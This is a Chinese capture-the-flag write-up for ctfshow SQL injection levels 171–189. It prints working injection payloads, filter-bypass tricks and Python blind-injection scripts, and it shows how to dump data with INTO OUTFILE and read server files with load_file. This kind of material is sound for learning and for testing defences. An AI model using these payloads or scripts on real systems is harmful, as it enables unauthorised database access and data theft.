CTF web入门之SQL注入

发布于:2025-04-16 ⋅ 阅读:(18) ⋅ 点赞:(0)

先看这个 https://blog.csdn.net/qq_41701460/article/details/146367814
后看下面

web171:
在这里插入图片描述
首先尝试1’–+,发现有返回值;说明直接闭合正确;
接着用 1’ 、1) 、1# 、1‘%23 怎么弄都是正常
#、–+、%23 是注释符可以看之前的sql注入

接着找用来输出的列:1’ order by 3–+,发现一共有3行(就1,2,3,4,5慢慢试出来)

先查看数据库基本信息:

0' union select database(),user(),version()--+

得到数据库名为ctfshow_web
在这里插入图片描述
这里说明一下,因为 mysql 5.0 及其以上的都会自带一个叫 information_schema 的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。
查该数据库下的所有表:
其中 2 和 3 只是占位符

0' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctfshow_web'--+

在这里插入图片描述
可以看到存在一个名为 ctfshow_user 的表,我们继续查该表下的列名:

0' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user'--+

在这里插入图片描述
没看到 flag 这种关键字,因此我们 id,username,password 都查一下:

0' union select id,username,password from ctfshow_web.ctfshow_user--+

在这里插入图片描述
当然这种没有绕过的给到 sqlmap 就直接一把嗦了,这里简便的方法也可以采用万能密码:

1'or 1 --+

web172:
在无过滤注入 1 里面用万能密码未找到 flag
在这里插入图片描述
试一下注入 2 的,里面用万能密码未找到 flag
在这里插入图片描述
数据库都懒得查了,用 database() 代替,直接查表:

0' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+

在这里插入图片描述
新增了一个 ctfshow_user2 的表,查一下该表下面内容,注意这里有一个检查,要求 username 的内容不能是 flag,才能正常查询成功,那么我们就不查 username ,查 id 和 password 就行了:

0' union select id,password from ctfshow_user2--+

在这里插入图片描述
web173: 同上

先判断列数
-1' order by 3 --+
通过查询库名进行验证。
-1' union select 1,database(),3 --+
查询表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
可知有3个表(ctfshow_user,ctfshow_user2,ctfshow_user3)
查询列名(根据前两关的情况,直接查询ctfshow_user3的列名)
-1' union select 1,2,group_concat(column_name) from information_schema.columns  where table_name='ctfshow_user3' --+
根据回显可知列名有id,username,password,后台语法对输出过滤了 flag,所有我们还是不查用户名。查密码,其他用占位符12占位即可。
-1' union select 1,2,password from ctfshow_user3 --+
-1' union select 1,2,group_concat(password) from ctfshow_user3 --+

在这里插入图片描述
在这里插入图片描述
web174:
这个有问题,要把3改成4.
在这里插入图片描述
可以发现这里查询结果的输出不能出现数字.因为返回逻辑表明如果返回数据中包含 flag 字样,或者包含数字0-9,则不会输出
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
查询语句的内容也不能出现数字
在这里插入图片描述
可以查到数据库名:ctfshow_web ,因为数据库名里没有数字
在这里插入图片描述
但是查表名就不行了,根据前面规律,表名应该为 ctfshow_user4,包含了数字,所以结果出不来,不能直接查。

0' union select group_concat(table_name),'a' from information_schema.tables where table_schema=database()--+

在这里插入图片描述
对输出结果进行替换后再输出,将数字都替换成字母,payload:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.tables where table_schema=database()--+

查询结果为:ctfshow_userD
D 对应的是 4 ,因此表名为:ctfshow_user4
在这里插入图片描述
查询password:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

在这里插入图片描述
得到ctfshow{BdaIEbGc-EEfH-DfAB-abGI-fIEbAGDddbcd}
最后将查询结果的数字替换回去,也可以用 replace 函数,反过来即可。
这里用 python 实现:

def rev_replace(txt):
    repl = {
        'A': '1',
        'B': '2',
        'C': '3',
        'D': '4',
        'E': '5',
        'F': '6',
        'G': '7',
        'H': '8',
        'I': '9',
        'J': '0'
    }
 
    for k, v in repl.items():
        txt = txt.replace(k, v)
 
    return txt
 
txt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)

在这里插入图片描述
web175:正则匹配过滤掉的是所有 ASCII 字符(从 \x00 到 \x7f,也就是从 0 到 127 的所有字符,包括控制字符、数字、字母和符号)。

方法1:将数据输出到一个文件中,然后访问对应文件
使用into outfile '/var/www/html/'将信息输入到文件中去

-1' union select  username,password from ctfshow_user5 into outfile "/var/www/html/1.txt"--+

在这里插入图片描述在这里插入图片描述
方法2:采用时间盲注

1' and sleep(5)--+

观察页面确实存在延时
在这里插入图片描述
burp爆破方法

https://myon6.blog.csdn.net/article/details/135241105?fromshare=blogdetail&sharetype=blogdetail&sharerId=135241105&sharerefer=PC&sharesource=qq_41701460&sharefrom=from_link

首先看了下它这里除了查询的 id,还有另外的两个参数,这个我们在写脚本时也需要加进去,并且注意到,它调用的接口其实是 /api 下的 v5.php,而不是 select-no-waf-5.php 这个文件哦。
在这里插入图片描述
脚本:

import requests
 
url = 'http://e03daa7b-66ad-48fb-8349-da520b7f5fe8.challenge.ctf.show/api/v5.php'
i = 0
for i in range(1, 15):
    payload = f"id=1' and if(length(database())={i},sleep(3),0) --+&page=1&limit=10"
    # print(payload)
    re = requests.get(url, params=payload)
    time = re.elapsed.total_seconds()
    print(f"{i}:{time}")
    # print(re.url)

在这里插入图片描述
可以看到当数据库名长度为 11 时,响应存在延时,这与我们前面得到的数据库名为:ctfshow_web,长度就是 11符合。

下面使用两个 for 循环遍历数据库名,从第一个字符猜到第 11 个字符,字符的可能性这里字典设置的是小写字母加数字加下划线:

import requests
import string
 
url = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_'
out = ''
for j in range(1, 12):
    for k in dic:
        payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10"
        # print(payload)
        re = requests.get(url, params=payload)
        time = re.elapsed.total_seconds()
        # print(f"{j}:{time}")
        if time > 2:
            print(k) 
            out += k #响应延时则将猜测的字符添加到结果里
            break #跳出内层的for循环,继续遍历下一位
print(out)

在这里插入图片描述
跑完得到数据库名为:ctfshow_web

接下来我们继续猜表名,这里就不先判断表名的长度了,设置范围大一点,以确保完整输出数据,使用标志位来判断是否到了最后一位:
在这里插入图片描述
得到表名为:ctfshow_user5

我们可以通过调整 limit 的参数来获取到其他的表名,有时候也可以使用 group_concat 函数。

payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

查列名:

payload = f"id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

在这里插入图片描述
找到了列名。不过要把画红框两行注销掉。因为换行导致我们误判为到了最后一个字符,因为我们的字典里只包括数字、小写字母和下划线,因此字符没找到,便跳出外层循环结束了代码。

由于前面的题目,我们知道 flag 在 password 字段里,那么我们就查它:
由于 flag 不在第一行,因此我们再细化查询的条件,即 username=‘flag’

payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

最终脚本:

import requests
import string
 
url = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'
out = ''
for j in range(1, 100):
    a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
    for k in dic:
        # payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10" # 猜数据库名
        # payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
        # payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
        # payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜列名
        payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜具体字段
        # print(payload)
        re = requests.get(url, params=payload)
        time = re.elapsed.total_seconds()
        # print(f"{j}:{time}")
        if time > 2:
            print(k)
            a = 0 #如果找到字符,则将标志位置0
            out += k
            break #跳出内层的for循环,继续遍历下一位
    if a == 1: #在进行下一次循环前,先判断当前字符是否找到
        break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

在这里插入图片描述
web176: 过滤了select,通过大小写即可绕过
方法1:万能语法

1' or 1=1--+

在这里插入图片描述
方法2:过滤了select,通过大小写即可绕过

1'union sElect 1,2,group_concat(password) from ctfshow_user--+
1'union sElect 1,2,password from ctfshow_user--+

在这里插入图片描述

web177:空格过滤,使用/**/绕过或者%0a
方法1:

1'or/**/1=1%23

在这里插入图片描述
方法2:正常查询:

1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

在这里插入图片描述
web178:同样过滤空格但是也把/**/过滤掉了,所以使用%0a或者%0b %0c %0d %23 这些
方法1:万能密码

1'or%0a1=1%23
1’or'1'='1'%23

方法2:

1'union%09select%0a1,2,password%0bfrom%0cctfshow_user%23

web179:同样还是过滤空格,%0a和%0b都给过掉了,可以用%0c
方法1:万能密码

1'or%0c1=1%23
1’or'1'='1'%23

在这里插入图片描述
方法2:

1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

在这里插入图片描述
web180:查看提示发现%23(+)被过滤了,查看别人的wp发现可以使用闭合号绕过。

'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'or'1'='

在这里插入图片描述
方法2:

知识点
在mysql里and优先级高于or

原理:and需要两边都为1返回true,例如1and1,但是or只需要一边为1则返回true
假如1 and 0 = 0,如果在后面加一个or 1呢,就会变成 1 and 0 or 1
1 and 0 or 1 == 1 and 1 == 1
11111'or%0cusername='flag

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

插入语句就变为
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '11111'or%0cusername='flag' limit 1;";

在这里插入图片描述
web181:通过优先级绕过。数字越大,优先级越高(借用一位博主的图)
在这里插入图片描述
方法:同上

-1'||username='flag
11111'or%0cusername='flag

在这里插入图片描述
web182:提示表明flag被过滤。
由前面得知flag的id值为26,则利用id值进行绕过。

-1' || id='26

在这里插入图片描述
或者使用like进行绕过。

-1'||(username)like'%fla%
知识点
在SQL中,`LIKE` 是一个用于匹配字符串模式的操作符,通常与 `WHERE` 子句一起使用。它允许你对字符串字段进行模糊查询。

`LIKE` 的基本语法如下:

```sql
SELECT column1, column2, ...
FROM table_name
WHERE column_name LIKE pattern;

其中,pattern 是要匹配的模式,通常包含通配符:

  1. 百分号 (%):代表零个或多个字符。
  2. **下划线 (_) **:代表单个字符。

示例

  1. 使用 % 符号

    • 查找以 “A” 开头的所有名称:
    SELECT * FROM employees WHERE name LIKE 'A%';
    
    • 查找以 “son” 结尾的所有名称:
    SELECT * FROM employees WHERE name LIKE '%son';
    
    • 查找包含 “an” 的所有名称:
    SELECT * FROM employees WHERE name LIKE '%an%';
    
  2. 使用 _ 符号

    • 查找精确长度为 5 且第二个字符为 “o” 的所有名称:
    SELECT * FROM employees WHERE name LIKE '_o___';
    
  3. 结合多个条件

    • 查找以 “A” 开头或以 “son” 结尾的名称:
    SELECT * FROM employees WHERE name LIKE 'A%' OR name LIKE '%son';
    

注意事项

  • LIKE 通常是区分大小写的,具体行为取决于数据库的设置。
  • 在某些情况下,用 ILIKE 可以忽略大小写(在 PostgreSQL 中)。
  • 使用 LIKE 进行字符串搜索时,可能会导致性能下降,特别是在大型数据集上,因为它无法使用索引来加速查询。
    在这里插入图片描述

web183:根据提示select不能用,就只能选择布尔盲注或者时间盲注了。这题的解法是在已知表名的情况下实现的,再结合模糊匹配like ,配合python脚本进行爆破。
在这里插入图片描述
脚本:

import time, sys
import requests
#导入必要的库。time 库用于在需要时添加延迟;sys 库用于退出程序;requests 库用于发送 HTTP 请求。

# 定义目标 URL,即存在 SQL 注入漏洞的页面。
url = 'http://f03f47d1-8422-49e0-a551-1bb3214823f6.challenge.ctf.show/select-waf.php'
#定义一个字符串 letter,包含了可能出现在 flag 中的字符,包括数字、字母、连字符、花括号。
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
#初始化 flag 变量,假设 flag 以 ctfshow{ 开头
flag = "ctfshow{"
#外层循环,最多尝试 50 次来获取 flag 的每个字符
for i in range(50):
    #内层循环,遍历 letter 中的每个字符
    for k in letter:
        #使用 regexp 运算符,功能类似
        data = {"tableName":"`ctfshow_user`where`pass`regexp('{}')".format(flag + k)}
        #构造 POST 请求的数据。使用 like 运算符来判断 ctfshow_user 表中 pass 字段是否以当前猜测的 flag + k 开头
        #data = {"tableName": "`ctfshow_user`where`pass`like('{}%')".format(flag + k)}
       #发送 POST 请求到目标 URL,并将响应内容作为文本存储在变量 r 中。
        r = requests.post(url=url, data=data).text
        #注释掉的代码,用于在每次请求之间添加 0.3 秒的延迟,避免对服务器造成过大压力或被检测到异常行为。
        # time.sleep(0.3)
        #判断响应文本中是否包含 $user_count = 1;,如果包含,说明当前猜测的字符是正确的。
        if "$user_count = 1;" in r:
            #如果猜测正确,将该字符添加到 flag 中,并打印当前的 flag,然后跳出内层循环,继续猜测下一个字符。
            flag = flag + k
            print(flag)
            break
        if k == "}":
            sys.exit()

在这里插入图片描述
web184:根据提示, where、单双引号、反引号都被过滤了,但没有过滤空格。
where可以用having代替,单双引号可以用括号+十六进制进行绕过

SQL中,`HAVING` 子句用于过滤聚合查询的结果。它通常与 `GROUP BY` 子句一起使用,以对分组后的结果进行条件筛选。与 `WHERE` 子句的不同之处在于,`WHERE` 是在数据分组之前进行过滤,而 `HAVING` 则是在数据分组之后进行过滤。

### 用法示例:

假设你有一个名为 `Sales` 的表,表中有以下字段:`ProductID``Quantity``SaleAmount`。你可以使用 `HAVING` 来筛选出总销售额大于 1000 的产品。

```sql
SELECT ProductID, SUM(SaleAmount) AS TotalSales
FROM Sales
GROUP BY ProductID
HAVING SUM(SaleAmount) > 1000;

关键点:

  1. 使用场景:当你需要对聚合函数(如 COUNTSUMAVG 等)进行筛选时。
  2. GROUP BY 一起使用:通常会与 GROUP BY 子句结合使用。
  3. 可结合多种条件:可以使用逻辑运算符(如 AND、OR)来组合多个条件。

更复杂的例子:

你可以同时使用 HAVINGWHERE 来筛选:

SELECT ProductID, COUNT(*) AS SaleCount, SUM(SaleAmount) AS TotalSales
FROM Sales
WHERE SaleDate >= '2023-01-01'
GROUP BY ProductID
HAVING COUNT(*) > 10 AND SUM(SaleAmount) > 1000;

在这个例子中,WHERE 子句先筛选出2023年之后的销售记录,再通过 GROUP BY 按产品分组,最后 HAVING 子句确定总销量大于 10 并且总销售额大于 1000 的产品。

总结:

  • HAVING 子句用于对聚合数据进行筛选。
  • 它通常与 GROUP BY 一起使用。
  • 主要用于聚合函数的条件过滤,可以组合多个条件。

十六进制:可以前面加x,后面用引号包裹或者0x;也可以和算数运算结合表示数字。
脚本如下:

import binascii
import requests

#binascii 库:用于进行二进制数据和 ASCII 编码之间的转换,在本代码中主要用于将字符串转换为十六进制字符串。
#requests 库:用于发送 HTTP 请求,在代码里会用它向目标网站发送 POST 请求来进行 SQL 注入尝试。

#定义将字符串转换为十六进制字符串的函数
#s.encode('utf-8'):将输入的字符串 s 编码为 UTF - 8 字节序列。
#binascii.b2a_hex(...):把字节序列转换为十六进制表示的字节序列。
#bytes.decode(str_16):将十六进制字节序列解码为字符串。
#str_16.replace("'", "").replace("'", ""):移除字符串中的单引号(虽然这里执行了两次相同的替换,属于冗余操作),最后返回处理好的十六进制字符串

def to_hex(s):
    str_16 = binascii.b2a_hex(s.encode('utf-8'))
    str_16 = bytes.decode(str_16)
    res = str_16.replace("'", "").replace("'", "")
    return res

#url:目标网站的 URL,即存在 SQL 注入漏洞的页面。
url = "http://a41d93e7-3dac-4e7a-9632-b384f50e7d04.challenge.ctf.show/select-waf.php"
#charset:定义了可能出现在 flag 中的所有字符,代码会从这些字符中逐个尝试猜测 flag 的每一位。
charset = "0123456789asdfghjklqwertyuiopzxcvbnm{}-_?"
#flag:初始化的 flag 部分,假设 flag 是以 ctfshow 开头的。
flag = "ctfshow"

#外层循环 for i in range(0, 666):设定最多进行 666 次尝试来猜测 flag 的每一位字符。
for i in range(0, 666):
    #内层循环 for j in charset:遍历 charset 中的每一个字符,依次尝试作为当前位置的字符。
    for j in charset:
        try:
            # 修正十六进制字符串格式
            #result = "0x" + to_hex(flag + j + "%"):将当前已猜测的 flag 部分、当前尝试的字符 j 和 SQL 通配符 % 组合起来,转换为十六进制字符串,并添加 0x 前缀,用于 SQL 查询。
            result = "0x" + to_hex(flag + j + "%")
            #data = {...}:构造 POST 请求的数据,tableName 的值是一个 SQL 查询语句,使用 right join 对 ctfshow_user 表进行自连接,并通过 like 条件筛选 pass 字段是否以当前猜测的字符串开头。
            data = {"tableName": "ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}
            # 发送请求并添加异常处理
            # response = requests.post(url=url, data=data):向目标 URL 发送 POST 请求,并将响应存储在 response 变量中。
            response = requests.post(url=url, data=data)
            #if "$user_count = 43" in response.text::判断响应文本中是否包含 "$user_count = 43",如果包含,说明当前猜测的字符 j 是正确的,因为服务器返回了满足条件的结果
            if "$user_count = 43" in response.text:
               #flag += j:将正确的字符添加到 flag 中。
                flag += j
               #print(flag):打印当前已猜测到的完整 flag。
                print(flag)
                #if j == "}":如果当前猜测的字符是 },说明已经找到了完整的 flag,使用 exit() 退出程序。
                if j == "}":
                    exit()
                break
        except requests.RequestException as e:
            print(f"请求出错: {e}")

在这里插入图片描述
Web185:过滤如下,数字也被过滤了:
在这里插入图片描述
使用true来过滤。在mysql中,sql语句true为1,true+true=2,所以通过相加,任何字母我们都可以构造出来。
那么先用一坨true表示十进制数字,再转换为字符,再用concat()拼接即可。

concat和true拼接可以转换成数字,true相当于等于1
例如:
concat(true+true)  == 2      concat(true) == 1     concat(true, true) == 11

脚本如下:

import requests
#requests 库在代码中用于发送 HTTP 请求。代码会借助它向目标网站发送 POST 请求,从而进行 SQL 注入的尝试

#定义 createNum 函数
#此函数的作用是依据输入的整数 n 构建一个由 true 拼接而成的字符串。
#当 n 等于 1 时,直接返回 'true'。
#当 n 大于 1 时,会通过循环将 true 进行 n - 1 次拼接,最终返回拼接后的字符串。这个字符串在后续会用于表示字符的 ASCII 码值
def createNum(n):
    str = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            str += "+true"
    return str
#定义 change_str 函数 把每一个字符转换成ascii码对应的数值
#该函数的功能是把输入的字符串 s 中的每个字符转换为对应的 ASCII 码值,并使用 chr 函数进行封装。
#首先处理字符串的第一个字符,借助 ord 函数获取其 ASCII 码值,再用 createNum 函数将该值转换为 true 拼接的字符串,最后用 chr 函数包裹起来。
#接着遍历字符串的其余字符,将每个字符按同样的方式处理并拼接起来。最终返回拼接好的字符串,此字符串可用于 SQL 查询。
def change_str(s):
    str=""
    str+="chr("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",chr("+createNum(ord(i))+")"
    return str
#url:代表目标网站的 URL,也就是存在 SQL 注入漏洞的页面。
url = "http://231865f2-3c6d-4a3b-ad24-694b6b5b6c48.challenge.ctf.show/select-waf.php"
#str:定义了可能出现在 flag 中的所有字符,代码会从这些字符里逐个尝试猜测 flag 的每一位。
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
#flag:初始化的 flag 部分,假定 flag 是以 ctfshow 开头的
flag = "ctfshow"
for i in range(0,666):
    for j in str:
        #result = change_str(flag + j + "%"):把当前已猜测的 flag 部分、当前尝试的字符 j 和 SQL 通配符 % 组合起来,通过 change_str 函数转换为用于 SQL 查询的字符串。
        result = change_str(flag + j + "%")
        #data = {...}:构造 POST 请求的数据,tableName 的值是一个 SQL 查询语句,使用 right join 对 ctfshow_user 表进行自连接,并通过 like 和 concat 函数筛选 pass 字段是否以当前猜测的字符串开头
        data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
        res = requests.post(url=url, data=data)
        if "$user_count = 43;" in res.text:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

在这里插入图片描述

web186:同上
在这里插入图片描述
在这里插入图片描述
web187:
在这里插入图片描述
这里的传入的password被md5加密了
mysql中,or 语句后面只要是一个1开头的,那就整个结果就是true
mysql的md5万能密码 ffifdyop

当用户输入的密码为 ffifdyop 时,其 MD5 加密后的结果为 276f722736c95d99e921722cf9ed621c。值得注意的是,这个加密结果开头是 276f7227,
而 27 在 ASCII 码里代表单引号 ',6f 代表字母 o,72 代表字母 r。
所以,这个 MD5 值实际上可以看成是 'or' 加上后续的字符串。

示例解释
SELECT * FROM users WHERE username = 'admin' AND password = MD5('ffifdyop');

把 MD5('ffifdyop') 的结果代入后,查询语句会变成:
SELECT * FROM users WHERE username = 'admin' AND password = '276f722736c95d99e921722cf9ed621c';
即
SELECT * FROM users WHERE username = 'admin' AND password = ''or'36c95d99e921722cf9ed621c';

在 SQL 里,OR 是逻辑或运算符。在这个查询语句中,由于 'or' 的存在,条件 password = '' 后面的 or 会让整个条件表达式变为真,因为 'or' 之后不管跟着什么内容,OR 运算只要有一个条件为真,整个表达式就为真。所以,这个查询语句就相当于:
SELECT * FROM users WHERE username = 'admin' OR 1=1;

在这里插入图片描述
在这里插入图片描述
web188: mysql弱类型比较
在这里插入图片描述

如 ‘4ad’=4
字符串与数字进行比较的时候,mysql会自动将字符串转为数字
而当数字为0,且字符串开头不为其他数字时,弱类型恒成立
在这里插入图片描述
原因是:
在比较查询的时候,查询语句为:select pass from ctfshow_user where username = 0 and password = 0;,由于username password是字符串,弱比较成了0,0=0成立,所条件就成立了;最后查询语句就成了:select pass from ctfshow_user where 1;
在这里插入图片描述
判断是数字还是字符串类型的注入
order by
分析:
字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【- -】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。
如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。

或者使用逻辑判断,就是根据经验来猜测到底是数字还是字符类型的注入
比如一般来说id一般都是数字类型的,name一般都是字符串类型的

web189:布尔盲注
在这里插入图片描述
在这里插入图片描述
load_file函数的作用

1.文件读取函数load_file()
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回

sql中要是想截取某个字段值作为匹配条件怎么办呢,这里可以使用substr()函数了。

substr(string ,pos,len)
string:指定字符串
pos:规定字符串从何处开始,(这里的第一个位置是1而不是0)为正数时则从字段开始出开始,为负数则从结尾出开始。
len:要截取字符串的长度。(是从1开始计数而不是0)

当查出有数据的时候,存在回显 Unicode 编码 \u5bc6\u7801\u9519\u8bef=密码错误
在这里插入图片描述
最完美脚本

import requests
#import requests:导入 requests 库,用于发送 HTTP 请求。

#url:指定目标服务器的 API 地址,后续的请求都会发送到这个地址
url = "http://a40c6e43-7643-4b34-aa90-82fac47a5b6a.challenge.ctf.show/api/index.php"
#:该函数的作用是确定字符串 flag{ 在文件 /var/www/html/api/index.php 中的起始位置。
#实现思路:
#payload:构造一个 SQL 注入的负载,使用 locate 函数查找 flag{ 在文件内容中的位置,并通过 if 语句判断该位置是否大于某个值。
#使用二分查找算法,在范围 [0, 1000] 内不断缩小查找范围,直到找到 flag{ 的起始位置。
#每次循环中,将构造好的 username 和 password 作为请求数据发送给服务器,根据服务器返回的 msg 字段判断查找范围的调整方向。
def getFlagPos():
    payload = "if(locate('flag{',load_file('/var/www/html/api/index.php'))>%d,0,1)"
    head = 0
    tail = 1000
    while head<tail:
        mid = (head+tail)//2
        data = {
            "username":payload%mid,
            "password":1,
        }
        response = requests.post(url=url,data=data)
        if "密码错误" == response.json()['msg']:
            head = mid+1
        else:
            tail = mid
    return mid
#功能:该函数用于从文件中提取完整的 flag 信息。
#实现思路:
#payload:构造一个 SQL 注入的负载,使用 substr 函数截取文件内容的单个字符,并通过 ascii 函数将其转换为 ASCII 码,再通过 if 语句判断该 ASCII 码是否大于某个值。
#同样使用二分查找算法,在范围 [0, 127] 内不断缩小查找范围,直到找到该位置字符的 ASCII 码。
#将找到的 ASCII 码转换为字符并添加到 flag 字符串中,直到遇到 } 字符,表示 flag 提取完成。
def getFlag(num):
    payload = "if(ascii(substr((load_file('/var/www/html/api/index.php')),{},1))>{},0,1)"
    flag =""
    while True:
        head = 0
        tail = 127
        num += 1
        while head<tail:
            mid = (head+tail)//2
            data = {
                "username" : payload.format(num,mid),
                "password" : 1,
            }
            response = requests.post(url=url,data=data)
            if "密码错误" == response.json()['msg']:
                head = mid + 1
            else:
                tail = mid
        flag += chr(head)
        print(flag)
        if "}" in flag:
            break
    return flag

#调用 getFlagPos 函数获取 flag{ 在文件中的起始位置。
#调用 getFlag 函数从该位置开始提取完整的 flag 信息。
#打印最终的 flag 信息。
if "__main__" == __name__:
    pos = getFlagPos()
    # 得到 flag{ 在文件中的位置
    print(pos)
    flag = getFlag(pos)
    print("[+] the flag is : ",flag)

在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到